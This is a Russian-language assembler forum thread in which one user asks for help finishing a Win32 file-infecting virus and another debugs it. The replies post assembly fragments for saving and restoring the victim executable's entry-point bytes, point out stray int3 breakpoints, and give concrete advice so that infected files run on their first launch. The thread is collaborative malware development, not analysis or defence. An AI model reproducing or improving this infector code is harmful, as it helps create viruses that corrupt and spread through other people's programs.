1. Если вы только начинаете программировать на ассемблере и не знаете с чего начать, тогда попробуйте среду разработки ASM Visual IDE
    (c) на правах рекламы
    Скрыть объявление

Не могу дописать win32 infector _help_

Тема в разделе "WASM.ASSEMBLER", создана пользователем asm0day01, 7 янв 2020.

  1. asm0day01

    asm0day01 New Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    27
    Привет всем! в общем все в исходнике...
    пароль: password

    ps
    жду ответа ;)
     

    Вложения:

    • 00301.zip
      Размер файла:
      2,7 МБ
      Просмотров:
      106
  2. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.234
    Не знаю что именно за пиз*ц в твоем файл-вирусе, кроме абсолютных адресов в инструкциях по всему коду.
     
  3. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    3.633
    Отладчик рядом с файловым инфектором :mda:
     
  4. asm0day01

    asm0day01 New Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    27
    Ну, дело в том что home_vctm_ep_9byte и save_vctm_ep_9byte не работают корректно, что делать? (только там 10 байт) - фича ;) ))
     
  5. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.234
    Код (ASM):
    1.     call [ebp+GetModuleHandleA]
    2. _921:
    3.     inc eax
    4.     cmp dword [eax],109cffcdh
    5.     jnz _921
    6.     sub eax,5
    7.     mov ebx,eax
    8.     ;...
    9.     push eax
    10.     push PAGE_EXECUTE_READWRITE
    11.     push 1000h
    12.     push ebx
    13.     call [ebp+VirtualProtect]
    14.     call [ebp+GetCommandLineA]
    15.     ;...
    16.     lea esi,[ebp+save_vctm_ep_9byte]
    17.     cmp [ebp+vctmcnt],1
    18.     jae x2
    19.     lea esi,[ebp+save_vctm_ep_9byte]
    20.     jmp x3
    21. x2:
    22.     lea esi,[ebp+home_vctm_ep_9byte]
    23. x3:
    24.     mov edi,ebx
    25.     mov ecx,9+1
    26.     cld
    27.     repz movsb
    По-моему если из результата GetModuleHandleA (что бы это ни было) отнять 4, вряд ли этот адрес будет валидным адресом.
     
  6. asm0day01

    asm0day01 New Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    27
    Код (ASM):
    1.    lea esi,[ebp+save_vctm_ep_9byte]
    2.    cmp [ebp+vctmcnt],1
    3.    jae x2
    4.    lea esi,[ebp+save_vctm_ep_9byte]
    5.    jmp x3
    6. x2:
    7.    lea esi,[ebp+home_vctm_ep_9byte]
    8. x3:
    9.    mov edi,ebx
    10.    mov ecx,9+1
    11.    cld
    12.    repz movsb
    вот это и не работает корректно вот... infected0000.exe работает остальное, нет..........
     
    Последнее редактирование модератором: 7 янв 2020
  7. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.234
    фигню написал, все у тебя работает, за исключением:
    Код (ASM):
    1.     or ebp,ebp
    2.     jz x
    в зараженном файле первый байт or ebp,ebp зачем-то втыкается cc (int3), если вернуть обратно как должно быть нормально возвращает байты на место и передает управление в ep.
     
  8. asm0day01

    asm0day01 New Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    27
    работает в infected0000.exe, остальное нет (

    в правильном состоянии высвечивается "message" в MessageBoxA )
     
    Последнее редактирование: 8 янв 2020
  9. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.234
    КАК тебе в голову-то такое пришло.
    Код (ASM):
    1. ;    cmp [ebp+vctmcnt],1
    2. ;    jae _919
    3.  
    4. ;    inc [ebp+vctmcnt]
    Код (ASM):
    1. ;    jmp _992
    2. ;
    3. ;_919:
    4. ;    lea edi,[ebp+save_vctm_ep_9byte]
    5. ;    mov ecx,10
    6. ;    cld
    7. ;
    8. ;_1:
    9. ;    lodsb
    10. ;    stosb
    11. ;
    12. ;    dec ecx
    13. ;
    14. ;    or ecx,ecx
    15. ;    jnz _1
    16. ;
    17. ;_992:
    Код (ASM):
    1. ;lea eax,[ebp+home_vctm_ep_9byte]
    Код (ASM):
    1. ;mov esi,[ebp+vctmcnt]
    2.  
    3. ;lea esi,[ebp+home_vctm_ep_9byte]
    4.  
    5.  
    6. ;lea esi,[ebp+save_vctm_ep_9byte]
    7.  
    8. ;    cmp [ebp+vctmcnt],1
    9. ;    jae x2
    10. ;
    11. ;    lea esi,[ebp+save_vctm_ep_9byte]
    12. ;    jmp x3
    13. ;
    14. ;x2:
    Вот так оба файла работают. Ты во втором файле восстанавливал цепочку из первого, счетчик заражений - зачем?
     
  10. asm0day01

    asm0day01 New Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    27
    как работают? второй файл не работает...
     
  11. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.234
    Чудом, блин.
    [​IMG]
     
  12. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.234
  13. asm0day01

    asm0day01 New Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    27
    со второго раза запускается, в общем недописано... нужно чтобы с первого
     
  14. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.234
    А что там при первом запуске меняется? Сам себя исполняемый файл на CreateFileA/WriteFile модифицировать не может.
     
  15. asm0day01

    asm0day01 New Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    27
    victims0000.exe victims0001.exe _не_ запускается с первого раза _после_ заражения
    вот
     
  16. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.234
    Выложи бинарник, который у тебя не с первого раза запускается.
     
  17. asm0day01

    asm0day01 New Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    27
    password
     

    Вложения:

    • 3002.zip
      Размер файла:
      7,4 КБ
      Просмотров:
      100
  18. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.234
    Ты int3 насовал в код. Как предлагаешь винде это исключение обработать?
    Занопай и посчитай с какой попытки запустится:
    Код (Text):
    1. 0000.exe
    2. 00000778h 90 90
    3. 0001.exe
    4. 00001778h 90 90
    5. 0002.exe
    6. 00002778h 90 90
     
  19. asm0day01

    asm0day01 New Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    27
    запускается со второй попытки "int 3" закоментил.
     

    Вложения:

    • 9430.zip
      Размер файла:
      4,3 КБ
      Просмотров:
      67
  20. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.234
    Ну да, довольно глупо получается: сохранять 10 байт заражаемого файла в тот же буфер, откуда в конце должны восстанавливаться 10 байт для текущего. Перед заражением файлов сохраняй затычку (в стек например) и в конце бери оттуда. Не надо там ни от какого счетчика заражений плясать.